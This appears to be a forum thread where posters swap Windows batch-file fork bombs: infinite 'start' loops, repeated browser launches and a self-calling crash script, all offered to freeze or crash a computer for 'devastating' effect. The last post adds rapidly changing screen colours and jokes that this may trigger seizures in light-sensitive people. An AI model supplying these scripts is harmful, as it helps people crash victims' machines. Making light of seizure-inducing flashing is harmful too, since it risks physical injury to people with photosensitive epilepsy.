 What you could do to make it more effective is put:
@echo off
:MAIN
start
goto main

This will keep opening it for ever

I always used a loop and a memory intensive program.

@echo off
:loop
IEXPLORER.exe
goto :loop

Put in the right place, you can add something that makes it load IE in a maximized window.

for an even more devastating result add a loop so that the first program and all subsequent copies will continue to run until it crashes.
so it would look something like this.

@echo off
title ALL YOUR BASE ARE BELONG TO US.
color fc
label loop
start
start
start
start
start
Compcrash.bat
goto loop

if you want it to be colorful add the "color fc" line in between every start and change fc to different things like 1c, 3a, 44, etc. if you open a command prompt and type "color fff" it will give you a list of the color codes. be careful as this will probably put anyone sensitive to light/color will probably go into an epileptic seizure. but it will be colorful!!!  lol
